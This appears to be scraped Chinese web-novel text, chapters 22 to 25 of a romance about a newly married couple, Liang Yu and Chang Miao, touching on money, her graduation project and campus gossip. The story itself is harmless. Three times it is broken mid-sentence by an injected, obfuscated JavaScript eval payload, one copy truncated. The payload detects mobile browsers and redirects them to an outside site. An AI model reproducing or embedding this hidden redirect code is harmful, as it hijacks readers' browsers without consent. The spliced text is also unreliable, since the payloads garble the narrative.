过了一会儿，常妙眨眨眼睛，脑袋突然转向梁嵛。 就这么瞧着。 好几秒过去也没说话。 梁嵛握着方向盘的手微微收紧，正打算开口说什么，却听身旁蓦然出声，“阿嵛，陆宗序这个人应该挺好的吧？” 一张本就严肃冷淡的脸在此刻蓦然添上一抹沉寂。 梁嵛看了眼后视镜，夜晚的街道空荡无车，“怎么突然问起他，我看你今天跟他聊的还不错？” “嗯，他那个人还挺健谈的。” 梁嵛：“你对他有兴趣？” 常妙嘴角弯着，“是有点。” 主要是她感觉羽鹭跟他好像有点不一般……改天找机会得问问她。 梁嵛动了动唇，控制着自己的视线不要再往旁边看。 然而坚持了十来米后。 “我停下车。” “？” 常妙不知道发生了什么，就见他打转方向盘，朝路边的一个停车位开了过去，树荫遮挡了路灯，昏黄的灯光影影绰绰地落在车内几乎剩不下什么。 黑暗中，她下意识去找自己身边的人，但梁嵛的脸她需要花很大功夫才能看清，他好像侧过头，正在看她。 “怎么了？”常妙有些不安地问，“是车出了什么问题吗？” 就算比常妙多戴了一副眼镜，梁嵛同样也不能在这样光线不良的情况下看清常妙的表情，他固执地望了一会儿，也不知道自己究竟想从她脸上找到什么，心底一种陌生的情绪搅得他只得仓皇应对。 片晌。 车内响起梁嵛的声音。 淡淡的，又很认真地询问：“我和陆宗序比起来是不是很没意思？” 常妙顿了片刻，“……啊？” 梁嵛也知道自己这问题问的有些莫名了，甚至就问题本身也是自讨没趣，显得他这人更没意思。 想到这一点后，梁嵛不由皱起眉，心里顿时冒出一种明知要考试自己却还不认真复习应考，之后胡乱答卷的后悔感。 梁嵛闭了闭眼，“你是不是要和我离婚了？” “啊？？？” 梁嵛皱眉，“你为什么老是‘啊’，我口齿不清吗？” 算得上是一句玩笑话，常妙自然而然地就在脑海里想象出一个梁嵛说这话时的表情，她笑得轻声，但在这静谧的环境简直是不时宜地震耳欲聋！ 常妙微微尴尬一瞬，“你怎么突然问我这个问题？” 梁嵛：“没什么，就是想确认一下。” 确认——她是不是要离婚？ 不是，他听谁说的！ 然而听谁说的已经不重要了，梁嵛现在好像已经笃定了什么，平时那样成熟的一个人这会儿陷在主驾的靠椅中闷声不吭的，很像小孩子受了委屈……还是那种懂事的小孩子，不吵不闹，偏又更加显得可怜巴巴。 常妙觉得自己得解释点什么，但嘴一张—— “那我要是离婚了，你会怎么样，咱们不还有个约定吗，你愿意作废？” 她试探着问，眼底藏不住的打趣在黑暗下毫无顾忌地闪烁着。 梁嵛声音过了两三秒才响起，“不会怎么样，那个约定本就是口头约定，钱都还了，我如果硬揪着你不放，倒真像你朋友说的那样，有拐骗嫌疑了。” 常妙这时总算理清楚了些，可能是前几天陆依然帮她借钱的时候，让陆宗序知道了，然后陆宗序又告诉了梁嵛，但她不是已经让羽鹭帮忙退回去了吗，还是梁嵛这边消息滞后了？ 梁嵛还在自顾说着，“不过家里我后来有给你添了几样东西，我留着没用，你愿意的话，我改天收拾好给你。” 常妙：“要给你钱吗？” 梁嵛：“……不用了。” 常妙忍笑，“那你不打算再找一个？你不是想结婚吗。” 梁嵛：“不找了，有一次结婚经历就行了，而且没人会像你那么傻。” “……” 明明是她逗他，怎么还反过来人身攻击了！ 常妙愤愤，“跟你结婚怎么就成我傻了！你很差吗？” 谁知梁嵛这回沉默更久了，“我不知道，但我确实不讨喜。我跟你说过，我相过亲。” 常妙：“是。” 梁嵛：“相过亲，三回，还包括一次替陆宗序应付家里的相亲。” “当时去婚介所的时候，那个红娘还说我这样的条件很好找，但实际见过面后，三个人都对我不满意。一个嫌我吃饭打包没面子，一个觉得我性格无趣，还有一个说怕我人格发育不全。” 常妙一愣，“这跟你的人格有什么关系？” 梁嵛：“她说孩子在成长过程中没有父母陪伴，容易长歪。” 常妙轻吸一口气。 同样的话她小时候也听过。 她是单亲家庭，那会儿也不知道学校里怎么流传起来的这些话，说单亲家庭长大的孩子人格发育不全，同学们会当着她的面说，他们的家长也会告诉自己的孩子不要跟她玩，她甚至亲眼看到过有家长拿手偷偷指她，然后在被她发现后又立马躲过视线，接着走远了那个小朋友又会转过头来看她。 那时候她不懂，唯一的想法只是不想被孤立，那有什么办法呢，她能想到的就是买一些小零食、小玩具去讨好去分享，然后再换来一份所谓的“友谊”，碰巧，她的零花钱比一般的小朋友多不少，这招很好用。 后来长大了，大到高中，她才有点明白了，凭什么一个人的人格这样就被定义了？ 没有爸爸不是她的错，家庭不完整又怎样，她在一个拥有足够爱的家里长大，她长成了很好的样子，他们可以说她有缺点，但人格不全这个词未免太重了，难道他们一个个就都是完美的人吗？难道在父母环绕下长大的他们一个个就拥有完美品德了吗？ 当然不。 “你别听他们瞎说！”常妙少见地有了脾气，“你不差什么，真的，我从见你第一面起就觉得你特别厉害！” 梁嵛诧异看她。 常妙以为他是不信，于是又说：“我没骗你，当时我就想，怎么那些学生提问什么你都能回答啊，那些天文一样的东西你怎么说起来跟话家常一样。” “后来是在相处中，你说你从小就一个人，我原以为那你可能就是那种全部精力投入在工作里的人，但你不是，你把家里料理得很好，你会做家务，还会做饭，你还愿意包容我不会做饭，并且你知道吗，你的情绪好稳定啊！你从来不会生气，也不会对我不耐烦，有问题会找我沟通，还知道鼓励我，你比我见过的大多数男生优秀得多！” 梁嵛有些怔然，他从来不知道自己还有这么多优点，他心情微妙地听着，同时又逐渐意识到一件事，常妙似乎在安慰他，安慰他被人说人格不健全？ 但他刚才说那些的时候其实并没有…… “那你不觉得我抠门？” 他试探问。 “你那是节俭！” “不无趣？” “那叫沉稳！” 梁嵛蹙眉，“我真有这么好？” “嗯！”常妙果断给予肯定，“所以你不要因为别人随便的三言两语就否定自己。” 梁嵛不置可否地点了下头，漆黑的眸底蕴出莫名的笑意，但下一刻立马又冷静下来，“那你，还会和我离婚吗？” “本来也没打算跟你离婚呀。”常妙讪讪眨眼，“咱俩当初约定好的嘛，你帮了我，我不能不守信用，那个钱我已经让羽鹭帮忙退回去了。” 片晌。 一道极轻的吐气声。 对话似乎到此就终止了，梁嵛没说话，却也没开车，直到常妙叫他，“阿嵛。” “嗯？” 常妙双手拽着胸前的安全带，整个身子努力靠过去，眯眼仔仔细细地盯着那抹轮廓。 “你现在在笑对吗？” “……” 梁嵛脖颈一僵，冷酷压下嘴角迅速低头挂挡，“那个，回家了，还有样东西要给你。” - 梁嵛说的那样东西，其实是一个文件袋。 家里果然如他所说多了些东西。 卧室里原本有个小方桌一直用来放梁嵛的书，现在上面的书被清理了，摆了一套还没开封的某大牌护肤品，甚至还添了一个大大的化妆镜！ 衣柜比起走之前彻底空了，梁嵛之前就给她腾过一回，后来被她又用他洗好的衣服塞满了，现在他直接完全挪走了，将这一隔间完全给了她，里面还挂了两件新的家居服，一身长袖套装，一身短袖套装，简约可爱的风格，上面还有干净的洗衣液香味。 常妙这边扶着衣柜门左看看右看看，不得不说有些惊喜，那个化妆镜她真的很喜欢！ 门口传来几声咚咚的敲门声，常妙探出头。 梁嵛站在门口，“看过了吗？我自作主张买的这些，不知道你喜不喜欢。” 常妙眼睛弯弯，“喜欢啊！不过你怎么还想到买镜子和护肤品了？” 梁嵛：“嗯，就是想对你好点。” 常妙一怔，笑了，“那我以后也对你好点！” 梁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126438|136973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嵛走过来，把手里的文件袋递给她，“这个给你。” 常妙：“这是什么？” 梁嵛：“我所有的银行卡、存折，还有房产证。你现在拿的这个是我的工资卡，密码是……” “等等！”常妙惊恐地一把捂住他的嘴，“你给我这些做什么？！” 梁嵛淡定地看着她，“上交工资。”声音含糊不清地常妙手心下传出来。 “啊？！” 常妙今天已经不知道发出了多少个震惊又茫然的“啊”了，她欲言又止的，“你不是已经都分了一半给我了吗，为什么还要给钱……” 梁嵛似乎还思索了下，“不是给你，是给你保管，如果家里有什么大事需要支出，你要和我商量。” 常妙懵了，所以这和把全部身家给她区别很大吗？ 他难道没有听过家长以保管的名义把孩子的压岁钱拿走然后再也不见了的故事吗！ …… ……抱歉………… 啊啊啊啊，好吧，她确认了，她确实嫁了一个奇怪的人！这都是什么奇怪的婚后相处法则？ 梁嵛却还在解释，“抱歉，上个月我，还没准备好……这个月工资发下来就给你了。” 常妙抬头看着他，因为刚才捂嘴的动作，梁嵛被她抵在墙上，两人距离不过一步，她咽了咽喉咙，想说你真的不用给我，你的钱你就自己收着吧，咱俩这关系不必你真诚到如此地步！但常妙恍然又想起当初收到他那七位数的转账后就跟他说过这个事，梁嵛的回复是在一段认真的关系里做该做的事，他不觉得不对，也谈不到亏不亏。 两人相处这么久，常妙是发现了梁嵛的一些性格的，思想偏传统，在某些自己认定的事上很执拗，并且还有一套自己的准则，常妙愿称之为“给自己挖坑的傻瓜准则”，就比如现在，又比如当初。 常妙兀自叹息着，梁嵛低头看着她的睫毛，心跳又不受控制地快了起来，他抿了下唇，声音克制，“你不用多想，女孩子手上多拿点钱，也有保障。” 常妙和他对视，似不解，又似惊讶，他这难道还是在教自己防他吗，可他这样的，真的会做对不起自己的事吗？ “我很想问一下，这些你都是从哪学来的？” 梁嵛：“什么？” 常妙：“就是这些上交工资啊之类的……啊，你之前是不是说有一对夫妻？” 梁嵛点头，“嗯，是他们。我小时候他们在福利院附近摆摊，那个婶婶不忙的时候就会隔着栅栏跟我聊会儿天。” 常妙：“可你那会儿还是小孩子吧，她就跟你聊这些？” 梁嵛：“张婶说三岁看老，她心善，看我面相怕我以后找不到老婆就劝我几句。” 常妙被逗笑了，“你那会儿几岁？” “五六岁吧。” “那你信了？” “为什么不信？” 常妙再次沉默地和梁嵛对视，她咬住唇，止住不厚道的笑意，但显然补救措施也只能是补救，梁嵛不理解地转过常妙的脸颊，拒绝她的藏匿，“你在笑我？” 鼻尖隐约能嗅到什么好闻的味道，清涩舒畅，但大事当前，常妙注意力很快便转移到了梁嵛身上，“没有！” 她当然不会承认。 梁嵛半信半疑地看着她，透过镜片，愈显锐利的眼神在常妙的脸上一寸寸划过，让常妙不由紧张起来，只是笑一下他而已，总不可能真跟她计较吧！ 常妙一时觉得心虚，脑袋又被梁嵛钳制着，当下一个念头闪过，她悄悄抬手，用纤细的指尖挠了挠梁嵛的侧腰。 痒意伴随着一道莫名的酥麻感直窜脊梁，梁嵛脸色一震，骤然松手拉开和常妙的距离，但他背面就是墙，身体唯一能选择的躲避动作就是朝前弓起身子。 常妙被梁嵛的反应吓了一跳，愣在原地没敢动，直到他缓过劲，常妙才讪讪地屈膝蹲低了看他，“你怎么这么怕痒啊。” 梁嵛看了眼她，下意识地不想解释自己刚才的行为，他耳朵尖儿红着，胸腔微微起伏，“是有点，所以你下次别挠我了。” 常妙无可无不可地应了声，目光扫过他的脸侧，扬眉转移话题，“嗯……那你和那个张婶还有联系吗？” 梁嵛这回主动离常妙远了些，“有，逢年过节有空的时候会去看看她。”说到这里，他抬眸，“下次你要不要和我一起去？” “行啊。” 她也想看看那个张婶是个什么样的人。 闲话过后，手上的文件袋又恢复了它沉甸甸的重量，常妙拎起来，有点发愁，“那这些你就真的给我保管了？” 梁嵛理所当然地点头，“嗯，你找个地方收起来吧。” 常妙望望四周，在卧室里走了一圈，没什么好主意，最后还是问了梁嵛，收到了他原来放的地方。 书房。 常妙上锁起身，准备去洗澡睡觉了，却发现桌子对面的人仍在一瞬不瞬地看着她，似乎还在等什么。 常妙莫名，“怎么了？” “你还没给我这个月的生活费。” 梁嵛推了下眼镜，一副过来人的模样给她解释，“丈夫上交了工资，妻子每个月就要按时给他生活费度过接下来的日子。” 常妙：“？” 行，又让你学到了是吧！ 23. 第 23 章 折腾了一天，常妙一沾枕头就睡着了，早上起来时，梁嵛还没走，见她没有再睡的意思，便示意了下厨房的位置，“锅上早饭还热着。” 常妙：“好。” 假期那几天，两人在吃饭这件事上倒是磨合好了，早上梁嵛走前会留些饭，中午常妙后来跟他商量了下，不用管她，自己也不是什么未成年的小朋友还要大人操心，到时去楼下附近的小店买点吃就行，到了晚上，她想吃什么提前备点菜，梁嵛回来一炒就行。 蒸锅里是两个肉包，常妙怕烫，在橱柜里找了个碗夹出来放着，回去时，饭桌上她的位置已经摆好了一瓶纯牛奶。 常妙过去准备坐下，又不免朝客厅的方向投去视线，“你今天怎么穿正装了？” 梁嵛平时休闲风格居多，顶多里面穿个白衬衫，在今天之前，她唯一一次见他这么穿正式还是两人去领证的时候。 合体的西装实在是衬极了人，常妙原本只是好奇问一下，但问完她就忘了收回这道欣赏的目光了。 梁嵛好像也没注意到，听见她问，便答：“公司下午有个发布会，会有记者来拍照。” 说着，俯身去沙发拿了外套，搭在了胳膊上，并不打算穿，最近正入夏，温度比之前已经明显有升高，如果不是工作需求，他也不想给自己找罪受。 常妙见他转去门口，忽然想起来什么，忙叫住他，“等下！” “你的领带！” 梁嵛低头一瞧，还真忘了，但他鞋已经穿上了，“妙妙，你能帮我拿下吗？” 常妙：“行，你要什么色的？” 梁嵛：“你看着拿就好。” 常妙挑了条同色系暗纹的，没一会儿就跑出来了，“这条可以吧？” “可以。” 梁嵛伸手想接过，但不知怎么，脑海里忽然闪过一个电影画面，还是昨天刚刚看过。 他微怔，不动声色收回动作，“你会系吗？我现在有些不方便。” 常妙看了眼他左手的钥匙和右手的外套，“会。”她点头。 她接稿的时候常有画西装的情况，那会儿找参考上头，感兴趣还专门找视频学了领带的打法，很简单！ 梁嵛于是朝常妙低下头，安静等着。 一秒、两秒……常妙一直没有动作。 梁嵛疑惑抬眸，但就在这时，头顶有什么东西套圈似的落下来。 布料的丝滑触感卡在他的眼镜和鼻梁上，细长的指尖在他的脸上一顿操作，他不得已闭眼，好在又是两三秒的时间，很快，他感觉到那个圈终于落在了他的脖子上。 常妙自此得心应手地给他翻下领口，然后一勒！ “好啦！” 梁嵛索然无味地睁眼。 “……” - 隔了一周再去学校，常妙越发感觉到了毕业临近的压力。 当时毕设分导师的时候，一个导师底下基本就是十个学生左右，负责她的导师叫金颍，虽然年轻，但在教学方面的能力和态度获得学生们的一致好评，而且听说她今年打算评职称，这样一来，免不得就要对他们这些人的毕设更加严格了。 常妙上周就被她留到最后耳提面命了一番，不过金颍有听过她家里的事，提醒了几句之后也就暂且放过了，只强调月底之前一定要做完，答辩的时间没什么意外就定在六月初了，到时候准备PPT也需要时间。 常妙不敢耽误，勤勤恳恳肝了几天进度，到昨晚睡觉前又估算了几次时间，确定月底前做完没问题后，才放心睡了。 但是今天下午一来，她就得知了一个不幸的消息，同组有三四个人已经做完了，只等再给金颍看最后一遍，毕设这边就彻底结束了，很难讲，尽管自己的安排在那，但常妙无形中压力又增添了几分。 秦羽鹭来教室的时候，常妙正埋头在电脑上剪辑，大中午的，正热的时候，教室里还没什么人，秦羽鹭跟另一个女生打了个招呼后，就背着包坐到了常妙旁边。 “来这么早，午饭吃了没？” 常妙把占座的电脑包拿走，接着又盯在了电脑屏幕上，“吃过了……” 她声音慢吞吞的，一听就知道忙着手上的事，注意力舍不得往别处放，秦羽鹭往嘴里扔了颗薄荷糖，又拿一颗放到常妙嘴边，“吃吗？” 常妙张嘴，等她投喂。 秦羽鹭一笑，给她塞进去。 金颍不来，秦羽鹭也懒得这时候开电脑，一副准备开干的架势摆出来后，就撑着头转去瞧常妙的，“做到哪了，还差得多吗？” 常妙依旧慢吞吞，“百分之，八十五吧……” 秦羽鹭：“那就快了，赶月底做完就成，你不用着急，我听说别的组还有才做到一半的呢！” 本是个安慰，但话音一落，常妙那边脸色却陡然一变。 “啊啊啊啊啊，我还没保存！！” 常妙手僵在鼠标上，面对卡住的屏幕，艰难咽下一口老血。 同为设计生，秦羽鹭对这种事已经见怪不怪了，毕竟她们的机子都用了四年了，又运行这么大的文件，一通操作结束不卡个几回那是不可能的。 “没事，等会儿吧，你也休息休息，一周不见，见面了也不跟我叙叙旧，跟我说说你这几天过得怎么样呗，梁嵛没对你怎么样吧？” 硬件问题，常妙除了等也没别的办法，她叹了口气，往后靠坐到椅背上说：“这几天，挺好的啊，他上班，我就在家做自己的事。” 秦羽鹭把声音压低了些，“我不是说这个！” “那你说……” 常妙忽然懂了，她扫了眼坐在另一边的女同学，斩钉截铁，“没有！”敏感的话题，她凑过去，也压低了声。 秦羽鹭挑眉，俨然一副不相信的模样。 她可记得当初同居的事就是梁嵛提出来的，现在住一起了，孤男寡女，有哪个男人能每天对着这么个漂亮姑娘还视若无睹？ 而且就算陆宗序作保说梁嵛绝对和他其他那些乱七八糟的朋友不一样，但有一点她还是不会动摇。 二十八的人了，可以有到年纪就着急找对象结婚的想法，但最后结婚的这个人，她不信他就是真大街上随便拉来的，一定在出这个事之前，他就对常妙有点什么！ “他不是那种人。”常妙却为梁嵛申辩，“你上次不是见过他吗，特别正经一人，不会乱来的。” 秦羽鹭啧了一声，“什么叫乱来啊，人家现在对你可是名正言顺了，一时没动静不代表以后也没有，等着吧，我赌五毛钱他在装！” 常妙抓抓脑袋，“我怎么感觉你说的他好像披着羊皮的狼一样。” 秦羽鹭瞥她，“那我怎么感觉你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13138055|136973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对他还挺满意？” 常妙没否认，“至少当时那种状况下，我觉得我遇不到比他更好的人了。” 这话说得…… 秦羽鹭试图从常妙的表情上抓到一点该怎么去理解的方向，但忽然，常妙电脑屏幕闪了下。 软件卡崩了。 也算是意料之内的事，常妙叹了口气，在桌面上找到源文件点开。 等了几秒。 屏幕一闪，眼前居然又变成了光秃秃的桌面。 常妙一怔，“不是吧……”这可是她整个毕设啊。 她又点了一次。 还是一样。 闪退。 源文件打不开了？！ “你重启一下电脑试试。”秦羽鹭说。 常妙依言重启，重新开机后，她又试了一遍，还是闪退打不开。 两人一阵沉默，秦羽鹭再抬头时，常妙的脸已经白了。 “羽鹭，我是不是完了……” 不止是毕设限期即将结束的问题，还有马上就要面对的导师审进度的事，金颍严格起来有时候是会骂人的，上周她已经被说了，这次难道还要顶风作案交个白卷上去？ 秦羽鹭也没想到她能这么倒霉，想了想，“你之前有备份吗？。” 常妙压着情绪，“有几个，但是都比较早了。”顿了片刻，她眉头微松，“不过还有一个，我上周想试效果还做了一个，最后不满意，但没删，在我U盘里！” 有了希望，常妙眼睛也亮了些。 “那U盘呢，你带着没？” “在梁嵛家。” 秦羽鹭看了下时间，“那你给他打电话，让他送过来！先把金颍这关过去。” “嗯好。” 常妙拿起手机，立马朝教室外走去，同时拨出号码。 她所在的这栋教学楼大多都是大四生，到了上课的点，人也不多，常妙一边听着电话里的嘟嘟声，一边往偏处走。 她怕一会儿怼上金颍。 等待接听的时间比平时要长，临到常妙挂断前一秒对面才接起来。 “喂？” 常妙还在猜测梁嵛这时候在做什么，听到声音下意识就诶了一声，“我在。” 梁嵛点头跟帮忙拿来手机的同事道了个谢，“怎么了，这时候打电话过来？” “我……” 常妙卡了下壳，她猛地想起来，今天是工作日来着！梁嵛在上班，是她太着急了。 想说的话在嘴边打了个转又咽了下去，她轻吐气，有些绝望，可是又做不到在梁嵛忙碌的时候给他添麻烦。 短短几秒间，她已经打算好了一会儿还是给导师实话实说，大不了就被骂一顿，下来之后她再使劲赶工好了，都一样的。 于是，“没事，没事了，我不小心打的，你忙吧。” 常妙说着就准备挂了，但梁嵛却叫住她，“妙妙。” “嗯？” “你声音怎么了？” 常妙一愣，能感觉喉咙里面还有些残余的哑，她蹙了下眉，不及再找个借口，梁嵛那边声轻，“你想说什么可以直接说。” 常妙安静了瞬，也不知怎的，厚脸皮的勇气一下子鼓涨到嗓子眼，真就说了，“你这会儿可以帮我送个东西吗？” 反正，他可以拒绝的，是吧。 24. 第 24 章 导师这一关算是勉强过去了。 但因为是几天前的文件，进度条拉的实在不够，常妙还是被训了几句，但比起这个，常妙更高兴的是不用重做了，大不了接下来就加班加点赶工到答辩前！ 最后毕业了，她也不想自己寥寥草草地交一份答卷上去。 教学楼是开放式的，入口处没有正经的大门，一出教室常妙能望见对面的操场，接近傍晚，阳光没有午后那么滚烫刺目，秦羽鹭挽着她，正说着一会儿要去食堂吃什么饭，但常妙视线一转，忽然发现不远处有辆眼熟的黑车。 她再往前走几步，扫到车牌号，是梁嵛的。 他还没走？ “常妙！” 身后传来声音，常妙回头。 张宁追上来，“你俩一会儿去食堂吃饭？” 常妙和秦羽鹭互看一眼，秦羽鹭先开口，“没有，回宿舍了。”她皮笑肉不笑地扯起嘴角，“你不回你外边？” 张宁之前也找了实习，在外面租房，每周导师审稿才回学校一趟，有时候可能还不来。 他一米七六的个子，皮肤偏白，天热，这几步跑过来额上已经有点开始冒汗，他抓了把刘海说：“啊，回，这不是好久没跟同学见面了吗，一起去食堂吃呗？我请客。” 常妙不想去，张宁对她有意思这事在她整个大二大三时期几乎一直在被身边同学说，原因就是他毫不掩饰，并且也太主动了，对她的抗拒视而不见。 以前差不多理由她也被他邀请过一回，那次羽鹭不在，她实在推拒不了就去了，结果第二天她就听同学之间传什么张宁把人追到手了，或者什么烈女怕缠郎，她终于扛不住了的话，偏偏这人又不真的跟她告白，中间还交过女朋友，让她既搞不懂，还连彻底划清界限的机会都没有。 不过幸好他们不是一个班的，平时远远见着了，她转头就跑，今天也是运气不好，倒了霉了。 ……哦，她今天还倒霉了两次！ 张宁：“对了，我实习那家公司福利不错，过节发了巧克力，我还带着，给你俩吃吧，常妙，你……” 也许是又想起来自己毕设上周白干的事，常妙心情不佳，莫名胆子也大起来，她退后一步，躲开张宁的手，“谢谢，不用了，我们不吃，我们还有事就先走了。” 说完，不管张宁，拉着秦羽鹭就走。 秦羽鹭转身的刹那顿觉新鲜，往常碰见这种情况，都是她拉着常妙走，什么时候常妙拒绝人能拒绝得这么利索了！ 她很想回头看一眼张宁的表情，但是又怕自己笑出来，嘲讽的意思太明显，最后决定还是留给后面一个冷酷的背影吧~ 然而这份觉得“孩子”长大了的乐呵，没过多久秦羽鹭就不想要了，斜对面的黑车里下来一个人，黑衣长裤，屏着一张冷淡无趣的脸直勾勾盯着她旁边的人。 常妙：“阿嵛！” 秦羽鹭：“……” 常妙从马路对面过来，刚站定，梁嵛就接走了她手里的电脑包，“你怎么没回去？” 梁嵛：“接你一起回。” 常妙一怔，她为难地看了眼秦羽鹭，按之前说的，她应该今晚在宿舍住一晚，明天再回去的。 秦羽鹭和常妙对视，片刻后，先摆了摆手，“行了，既然他接你，你就回去吧，但是欠我一天哦。” 她也不想让，但谁叫对面那人戴个亮闪闪的戒指晃来晃去的，简直是心机！ 闻言，常妙心里一松，“好好好，下次一定陪你！”她抱歉道。 梁嵛目光在两人之间逡巡一圈，这时才突然意识到，常妙想要下课晚一天回去好像并不止是路远的问题…… 两个姑娘很快挥手道别，常妙目送着秦羽鹭走远了，回过身，冷不防撞上梁嵛的眼睛。 他刚才一直在看她。 常妙不知所以，“怎么啦？” 梁嵛摇头，他只是再一次发现一个事实，他在她这好像一直都，没什么特别的。 她可以对他说说笑笑，但对着陆宗序时也可以说说笑笑，想要陪伴时明显更愿意和好朋友在一起，就连异性的追求，也不缺。 头顶树叶的沙沙声不停作响，惹人心乱，梁嵛垂下眼，替她打开车门，温声，“没什么，回家吧。” - 白白浪费了一周的时间，常妙接下来的苦日子可想而知，她一心全放在自己的毕设上，却没想到，这段时间里学校出了件事。 关于她的。 “也不知道哪个神经病发的，作业太少了，没事干吧！” 教室里，秦羽鹭抱着胳膊，满脸气愤地坐在常妙旁边，常妙翻看着那个帖子，帖子里描述的内容很像上次梁嵛来接她时候发生的场景，意思很明显，就是说女大学生不自爱，疑似被校外老男人包养。 通篇下来，没直接点名道姓，但各种侧面特征叠加，认识常妙的人肯定都能猜出来。 常妙看完，把手机还给秦羽鹭，秦羽鹭接过，抬头瞧她，眼神不解，“你还真是好脾气，这都不生气，要我我就得把这人薅出来揍一顿！有证据吗这么说话，以后别搞设计，去干狗仔多好。” 常妙耸了下肩，“不是好脾气，是觉得没必要，造谣一张嘴，辟谣跑断腿，不管是谁说的，放着不理过一阵子也就过去了。”更何况她马上就毕业了，以后这消息也看不着。 秦羽鹭点头，默认了她的说法，总归是不值当。 马上就到上课的点，小组里的人一个接一个的来了，秦羽鹭和常妙坐在后排，很明显地能感觉到进教室后投放在她们身上的视线。 秦羽鹭打开电脑，晃着脑袋深吸一口气。 不值当，不值当不值当！ - 五月份，梧溪还没到一年中最热的时候，室外二十七八的温度，多云，正是体感最舒服的天气，刨去那些无聊的事情，常妙这周回学校还是很开心的，因为走前，梁嵛跟她说可以在学校多呆两天，弥补上次的时间，秦羽鹭这段日子也闷坏了，平时一转头就能说话的，现在就只能自己憋着，好不容易和小姐妹凑一起，当然就想一起干点什么，两人也不跑远，就去学校附近的商圈吃顿饭，一来一回，不用一个下午就能结束战斗！ 为了这顿饭，常妙和秦羽鹭早上和中午都没怎么吃，三点多到的商场，商场人不多，秦羽鹭偶尔会钻进服装店扫一圈，常妙就趁这时间去买了两杯奶茶。 “给，抹茶味的。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149627|136973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 秦羽鹭欣喜一瞬，但马上就皱起眉来，“怎么转性了，你不攒钱啦？” 自从常妙家里出事之后，两人其实基本就再没到外面下过馆子，都是学校附近随便吃吃或者食堂，人均二十以内，所以今天这顿饭还算是半年来的头一回。 常妙把奶茶塞给她，“也攒，不过……不用像以前那么紧张了。” 秦羽鹭：“什么意思？” 常妙揽过秦羽鹭的肩膀，说起梁嵛把自己存款给她一半又一半的事情。 要不怎么说是闺蜜呢，秦羽鹭听完的表情跟她当初一模一样，震惊，不解，欲言又止，千言万语在心头只能汇聚成一句—— “他没事吧？？！” “他就这样把身家给你了？他是不是……” 秦羽鹭的话音戛然而止，但常妙知道她要说什么，他是不是傻，但显然，对方的智商比她俩高多了。 秦羽鹭转转眼珠，“不过这样我倒是比原来放心多了，他全副身家都在你这，跟他过十年家家不亏，财政大权你把握着也不用担心他出去乱搞，就算中间你俩睡了，只要做好措施唔唔唔……” 常妙惊恐，“嘘嘘嘘！！大庭广众，别说这个！” 秦羽鹭挑眉，“成年人嘛，说说这个怎么了，你磕cp的时候不也经常说吗，没厨子还自己产粮呢，害羞什么？” 常妙心跳如鼓，拉着她鬼鬼祟祟地往人少的地方走，“那能一样么，梁嵛是真人！” “行吧，不过话说回来。”秦羽鹭感叹，“啧，梁嵛这智商点的位置真巧妙，大愚若智！我以前还怕他借着比你多吃几年饭拿捏你，骗你，现在看来，好像有点多虑，你是不是还说他会洗衣服做饭？” 常妙：“……是。” 秦羽鹭两手一拍，一本正经，“更好了，优秀人夫，不仅主内还能主外，长得也还不错。如果他能保持下去，我觉得你收获一段高质量婚姻也未尝不可。” 常妙：“？你之前可不是这么说的！” “那我之前也不知道他这么傻啊！”秦羽鹭哈哈大笑。 常妙：“……” - 两人团购了一家香锅店，常妙爱吃辣，秦羽鹭这几年被她带着也有点无辣不欢，老板舍得放料，一顿吃下来两人的嘴巴都肿了一圈。 “涂口红吗？”秦羽鹭翻包。 “涂！” 秦羽鹭把口红给常妙，自己先去结账，等常妙这边弄完，秦羽鹭那边正好也结束了。 走廊尽头下扶梯，从整片落地窗后往外瞧，天色比她们走前暗了，道路两旁的悬铃木是新栽不久的，每个都用三角架撑着，此时被风吹得树冠阵阵倾倒。 起风了。 看这样子晚上可能还要下场雨，常妙胳膊肘碰秦羽鹭，想让她也看，谁知这时身后突然有人喊了声“等等”。 也不知道是叫谁，但常妙和秦羽鹭本能就回头看了眼。 离她们几米远的地方站着个女人，看起来也没比她俩大几岁，穿着身短裙，外搭一件白色的休闲西装，定定望着她们的方向。 “这谁啊，你认识？”常妙确定自己没见过。 秦羽鹭低声，“陆宗序他前女友……” 25. 第 25 章 好好的来吃饭，结果吃完就进了医院常妙是怎么都没想到的。 秦羽鹭从包扎室出来，旁边伸出来一双手立刻将她扶住，“就一点擦伤，又不是残了。”她没心没肺笑。 “还笑！幸亏只是擦伤，你可是从楼梯上滚下来！” 常妙对她的态度有点生气，但过了没一会儿，还是忍不住关心，“头疼不疼，晕吗？” 秦羽鹭脑门当时也撞了下，但是还好，除了肿了个大包之外并没有什么别的问题。 